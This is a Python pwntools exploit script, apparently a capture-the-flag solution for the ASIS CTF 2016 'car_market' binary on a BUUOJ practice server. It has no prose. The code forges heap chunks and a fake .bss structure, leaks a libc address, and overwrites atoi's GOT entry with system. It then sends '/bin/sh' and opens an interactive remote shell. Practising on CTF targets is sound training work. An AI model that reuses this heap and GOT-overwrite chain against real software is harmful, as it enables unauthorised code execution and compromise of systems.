1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import *
sh = remote('node3.buuoj.cn',29774) elf = ELF('./car_market_asis_ctf_2016') libc = ELF('./libc-2.23.so') atoi_got = elf.got['atoi']
def add_car(model,price): sh.sendlineafter('>','2') sh.sendlineafter('model',model) sh.sendlineafter('price',str(price))
def delete_car(index): sh.sendlineafter('>','3') sh.sendlineafter('index',str(index))
def show(): sh.sendlineafter('>','1')
def select_car(index): sh.sendlineafter('>','4') sh.sendlineafter('index',str(index))
def add_customer(): sh.sendlineafter('>','4')
def set_model(model): sh.sendlineafter('>','2') sh.sendafter('model',model)
def set_price(price): sh.sendlineafter('>','3') sh.sendlineafter('price',str(price))
def set_customer_name(name): sh.sendlineafter('>','1') sh.sendafter('name :',name)
def set_customer_comment(comment): sh.sendlineafter('>','3') sh.sendafter('coment :',comment)
add_car('a'*0x9,10) select_car(0) add_customer() set_customer_comment('b'*0x40 + '\n') sh.sendlineafter('>','4') sh.sendlineafter('>','5')
add_car(p64(0) + p64(0x51),10) select_car(1) add_customer() set_customer_comment('d'*0x40 + '\n')
set_customer_name(p64(0) + p64(0x21) + 'e'*0x10) sh.sendlineafter('>','4') sh.sendlineafter('>','5')
for i in range(0x51-2): add_car('f'*0x9,10)
fake_chunk_in_bss = 0x00000000006020B8
select_car(1) add_customer() sh.sendlineafter('>','4') set_price(fake_chunk_in_bss) sh.sendlineafter('>','5')
select_car(2) add_customer()
fake_struct = p64(atoi_got-0x8) + p64(0) + p64(0) + '\n' set_customer_comment(p64(0x00000000006020D0) + fake_struct) sh.sendlineafter('>','4') sh.sendlineafter('>','5')
select_car(0) show() sh.recvuntil('Model : ') libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym['_IO_setvbuf'] system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) set_model(p64(0) + p64(system_addr))
sh.sendlineafter('>','/bin/sh')
sh.interactive()
|